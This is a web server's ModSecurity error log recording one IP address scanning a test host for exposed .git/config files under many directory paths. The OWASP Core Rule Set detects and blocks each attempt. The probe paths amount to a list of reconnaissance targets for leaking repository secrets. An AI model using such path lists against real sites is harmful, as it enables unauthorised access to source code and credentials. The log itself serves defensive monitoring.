[Mon Mar 25 22:18:16.069039 2024] [:error] [pid 2025394] [client 91.215.85.29:54366] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZgHqGNBOsPOWY3hOfBgw0QAAAAU&quot;]
[Mon Mar 25 22:18:16.077683 2024] [:error] [pid 2025393] [client 91.215.85.29:54404] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZgHqGExqzvAhw1tF-y09XQAAAAQ&quot;]
[Mon Mar 25 22:18:16.077925 2024] [:error] [pid 2025393] [client 91.215.85.29:54404] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZgHqGExqzvAhw1tF-y09XQAAAAQ&quot;]
[Mon Mar 25 22:18:16.078087 2024] [:error] [pid 2025393] [client 91.215.85.29:54404] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZgHqGExqzvAhw1tF-y09XQAAAAQ&quot;]
[Mon Mar 25 22:18:16.085213 2024] [:error] [pid 2027220] [client 91.215.85.29:54352] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZgHqGBEDTPsfUVS202YOAgAAAAY&quot;]
[Mon Mar 25 22:18:16.085415 2024] [:error] [pid 2027220] [client 91.215.85.29:54352] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZgHqGBEDTPsfUVS202YOAgAAAAY&quot;]
[Mon Mar 25 22:18:16.085595 2024] [:error] [pid 2027220] [client 91.215.85.29:54352] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZgHqGBEDTPsfUVS202YOAgAAAAY&quot;]
[Mon Mar 25 22:18:16.124121 2024] [:error] [pid 2025392] [client 91.215.85.29:54430] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZgHqGNPKUCI6d3b2VZCJSwAAAAM&quot;]
[Mon Mar 25 22:18:16.124808 2024] [:error] [pid 2025392] [client 91.215.85.29:54430] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZgHqGNPKUCI6d3b2VZCJSwAAAAM&quot;]
[Mon Mar 25 22:18:16.126321 2024] [:error] [pid 2025389] [client 91.215.85.29:54400] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZgHqGLUhH0n0eKl87GcSWwAAAAA&quot;]
[Mon Mar 25 22:18:16.126676 2024] [:error] [pid 2025389] [client 91.215.85.29:54400] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZgHqGLUhH0n0eKl87GcSWwAAAAA&quot;]
[Mon Mar 25 22:18:16.126967 2024] [:error] [pid 2025389] [client 91.215.85.29:54400] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZgHqGLUhH0n0eKl87GcSWwAAAAA&quot;]
[Mon Mar 25 22:18:16.127618 2024] [:error] [pid 2027224] [client 91.215.85.29:54420] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZgHqGJLtBkaAwWmXXFxMhgAAAAc&quot;]
[Mon Mar 25 22:18:16.128034 2024] [:error] [pid 2027224] [client 91.215.85.29:54420] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZgHqGJLtBkaAwWmXXFxMhgAAAAc&quot;]
[Mon Mar 25 22:18:16.128296 2024] [:error] [pid 2025391] [client 91.215.85.29:54382] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZgHqGA7yBQMRBVFeIK9tGgAAAAI&quot;]
[Mon Mar 25 22:18:16.128673 2024] [:error] [pid 2025391] [client 91.215.85.29:54382] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZgHqGA7yBQMRBVFeIK9tGgAAAAI&quot;]
[Mon Mar 25 22:18:16.128923 2024] [:error] [pid 2025391] [client 91.215.85.29:54382] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZgHqGA7yBQMRBVFeIK9tGgAAAAI&quot;]
[Mon Mar 25 22:18:16.129769 2024] [:error] [pid 2027224] [client 91.215.85.29:54420] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZgHqGJLtBkaAwWmXXFxMhgAAAAc&quot;]
[Mon Mar 25 22:18:16.130549 2024] [:error] [pid 2025392] [client 91.215.85.29:54430] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZgHqGNPKUCI6d3b2VZCJSwAAAAM&quot;]
[Mon Mar 25 22:18:16.130891 2024] [:error] [pid 2027228] [client 91.215.85.29:54446] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZgHqGID7xpu1aVB_6ANFqAAAAAg&quot;]
[Mon Mar 25 22:18:16.131408 2024] [:error] [pid 2027228] [client 91.215.85.29:54446] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZgHqGID7xpu1aVB_6ANFqAAAAAg&quot;]
[Mon Mar 25 22:18:16.131818 2024] [:error] [pid 2027228] [client 91.215.85.29:54446] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZgHqGID7xpu1aVB_6ANFqAAAAAg&quot;]
[Mon Mar 25 22:18:16.132902 2024] [:error] [pid 2028694] [client 91.215.85.29:54438] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZgHqGOCYinOrL-HIbyGCJgAAAAk&quot;]
[Mon Mar 25 22:18:16.133084 2024] [:error] [pid 2028694] [client 91.215.85.29:54438] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZgHqGOCYinOrL-HIbyGCJgAAAAk&quot;]
[Mon Mar 25 22:18:16.133251 2024] [:error] [pid 2028694] [client 91.215.85.29:54438] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZgHqGOCYinOrL-HIbyGCJgAAAAk&quot;]
[Mon Mar 25 22:18:16.164824 2024] [:error] [pid 2025394] [client 91.215.85.29:54460] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZgHqGNBOsPOWY3hOfBgw0gAAAAU&quot;]
[Mon Mar 25 22:18:16.165078 2024] [:error] [pid 2025394] [client 91.215.85.29:54460] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZgHqGNBOsPOWY3hOfBgw0gAAAAU&quot;]
[Mon Mar 25 22:18:16.165255 2024] [:error] [pid 2025394] [client 91.215.85.29:54460] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZgHqGNBOsPOWY3hOfBgw0gAAAAU&quot;]
[Mon Mar 25 22:18:16.165256 2024] [:error] [pid 2025390] [client 91.215.85.29:54454] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZgHqGIIuwaJZiPZ1lzKBJQAAAAE&quot;]
[Mon Mar 25 22:18:16.165747 2024] [:error] [pid 2025390] [client 91.215.85.29:54454] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZgHqGIIuwaJZiPZ1lzKBJQAAAAE&quot;]
[Mon Mar 25 22:18:16.166149 2024] [:error] [pid 2025390] [client 91.215.85.29:54454] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZgHqGIIuwaJZiPZ1lzKBJQAAAAE&quot;]
[Wed Apr 03 09:03:54.883431 2024] [:error] [pid 2230843] [client 91.215.85.29:53052] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Zgz_Wu0iJ8o9USv49PhhAgAAAA0&quot;]
[Wed Apr 03 09:03:54.885583 2024] [:error] [pid 2230843] [client 91.215.85.29:53052] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Zgz_Wu0iJ8o9USv49PhhAgAAAA0&quot;]
